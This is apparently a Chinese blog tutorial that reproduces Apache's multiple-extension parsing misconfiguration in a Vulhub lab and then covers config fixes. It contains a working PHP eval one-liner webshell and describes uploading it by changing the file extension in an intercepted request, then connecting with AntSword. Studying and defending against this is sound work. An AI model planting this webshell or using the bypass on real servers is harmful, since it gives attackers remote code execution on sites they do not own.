漏洞原理

apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别
如果运维人员给.php后缀的文件添加了处理程序 `AddHandler application/x-httpd-php .php` 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,

漏洞复现

这里我以Vulhub靶场为例演示

[root@localhost vulhub]# cd httpd/apache_parsing_vulnerability/     # 进入到apache_parsing_vulnerability 多后缀解析漏洞目录
[root@localhost apache_parsing_vulnerability]# docker-compose up -d   拉取镜像之后启动容器
# 注意
容器没起来可以先看看日志报错
[root@localhost apache_parsing_vulnerability]# docker logs apache_parsing_vulnerability_apache_1
/bin/sh: 0: cannot open /var/www/start.sh: Permission denied
[root@localhost apache_parsing_vulnerability]# setenforce 0    #  关闭selinux之后docker-compose up -d重启容器
[root@localhost apache_parsing_vulnerability]# docker ps -s    # 查看正在运行中的容器(容器启动成功)
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                NAMES                                   SIZE
5c1134637b1f        php:apache          "docker-php-entryp..."   20 minutes ago      Up 5 seconds        0.0.0.0:80->80/tcp   apache_parsing_vulnerability_apache_1   2 B (virtual 459 MB)# 浏览器访问靶场环境
http://10.10.10.133/

此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错

本地创建一个php后缀的一句话木马文件,内容如下:
<?php @eval($_POST['ggbond']);?>
之后上传,并且通过Bp抓取前端数据包,修改文件后缀名如图所示

蚁剑连接

通过蚁剑我们发现webshell成功连接
# 至于文件上传的路径,我们可以通过抓取数据包将其发送到repeater模块进行查看

漏洞分析

我们进入容器查看一下配置文件
[root@localhost apache_parsing_vulnerability]# docker exec -it apache_parsing_vulnerability_apache_1 /bin/bash
root@5c1134637b1f:/var/www/html# cd /etc/apache2/conf-available/
root@5c1134637b1f:/etc/apache2/conf-available# ls
charset.conf  docker-php.conf  localized-error-pages.conf  other-vhosts-access-log.conf  security.conf    serve-cgi-bin.conf
root@5c1134637b1f:/etc/apache2/conf-available# cat docker-php.conf
AddHandler application/x-httpd-php .php      DirectoryIndex disabled
DirectoryIndex index.php index.html                                                                  <Directory /var/www/>Options -IndexesAllowOverride All
</Directory>

# 从上面php配置文件可知
AddHandler application/x-httpd-php .php      
此命令是并没有进行类似于正则等的安全设置,凡是有带.php后缀的都会将其交给application/x-httpd-php解析程序进行解析

漏洞防御手段

1、通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)

<FilesMatch "\.php\.">
require all denied
</FilesMatch>

2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序

<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>

小彩蛋

去阿里云官网的工作台搜索“容器镜像服务”
加速器地址: https://zw51rs4m.mirror.aliyuncs.com
配置镜像加速器
针对Docker客户端版本大于 1.10.0 的用户
您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://zw51rs4m.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

Apache多后缀解析漏洞复现(apache_parsing_vulnerability)相关推荐

  1. nginx 上传文件漏洞_nginx解析漏洞复现

    nginx解析漏洞复现 一.漏洞描述 该漏洞与nginx.php版本无关,属于用户配置不当造成的解析漏洞 二.漏洞原理 1. 由于nginx.conf的如下配置导致nginx把以'.php'结尾的文件 ...

  2. 【linux】 apache多后缀文件解析漏洞复现

    文章目录 一. 漏洞描述 二. 漏洞原理 三. 实验环境 1. apache版本 2. 在网站根目录我们建一个index.php,测试是否解析 3. 修改文件名测试 4. 用文件名不包含php的文件测 ...

  3. Apache与文件解析漏洞详解

    1. Apache介绍与服务搭建 1.1. apache介绍 Apache跨平台的纯粹的web服务器,负责接收处理/响应http请求,之所以说它是纯粹的web服务器,是因为apache对于html页面 ...

  4. Java Apache中的高危漏洞复现

    Java Apache Collections类漏洞 在15年Apache Commons Collections(ACC)被两位黑客爆出存在反序列化漏洞,由于Apache下的其他框架也免不了大量使用 ...

  5. CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 CVE-2021-41773漏洞描述: Apache HTTPd是Apache基金会开源的一款流 ...

  6. MS11-030-DNS 解析漏洞复现

    MS11-030:DNS 解析中的漏洞允许远程代码执行 (2509553) 安装的 Windows DNS 客户端处理链接-本地多播名称解析 (LLMNR) 查询的方法中存在一个缺陷,攻击者可利用此缺 ...

  7. Apache漏洞复现

    目录 1.Apache多后缀解析漏洞复现(apache_parsing_vulnerability) 漏洞防御 2.Apache换行解析漏洞复现(CVE-2017-15715) 漏洞防御 3.CVE- ...

  8. php黑名单绕过,利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

    我在代码审计知识星球里提到了Apache最新的一个解析漏洞(CVE-2017-15715): 除了帖子中说到的利用方法,我们还可以利用这个漏洞来绕过上传黑名单限制. 目标环境 比如,目标存在一个上传的 ...

  9. Apache 解析漏洞

    呜啦 ~~ 又太久没写博客啦 偶然间看到了这一篇文章,觉得写得还挺好的.下面是文章内容!!! Apache文件如何解析漏洞实例分析 我最为熟悉的便是Apache了,先来研究它的文件解析漏洞.百度许久, ...

最新文章

  1. ASP.NET性能调整之解决Server Too Busy错误
  2. JAVA-初步认识-第五章-数组-常见操作-最值
  3. wireshark 抓包调试 RTSP
  4. Array Elimination 运算,gcd,思维
  5. Hibernate--使用xml配置映射关系
  6. mybatis学习笔记--常见的错误
  7. 微机笔记5——定时与计数
  8. python wxpython backend wxagg_在wxPython中使用draw()(复制轴)绘制不正确
  9. Linux内核虚拟内存之页表管理
  10. dell最新计算机如何U盘引导,戴尔台式电脑如何bios设置U盘启动教程
  11. Android安卓自带的 WebView 浏览器内核更新
  12. 关于前端直播(videoJS与百度云web播放器:Cyberplayer3.0试用)
  13. 泰凌微8258入门教程 问题篇②——make Error, section .text loaded at [x,x] overlaps section .retention_data loaded
  14. mismatch,equal比较两序列
  15. Win7用户文件夹转移
  16. Java版本电子招标采购系统源代码—企业战略布局下的采购寻源
  17. 记2015沈阳区域赛
  18. ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to
  19. [原创]gsoap的基本使用方法『C++web服务工具包』
  20. python----引用其他py文件中的函数

热门文章

  1. CMOS电平的频率限制为什么一般在200M以内
  2. ACM必学知识点清单
  3. 天下数据教你如何备份和还原DNS服务器信息
  4. 一文了解什么是财务RPA机器人
  5. MTK平台如何确定Tuning的Scenario
  6. POI2014Salad Bar
  7. 常用英语翻译与技巧总结
  8. [攻略][Python]给array类型的数据添加方括号、去掉方括号
  9. MyEclipse安装Vue
  10. php两个数字进行比较大小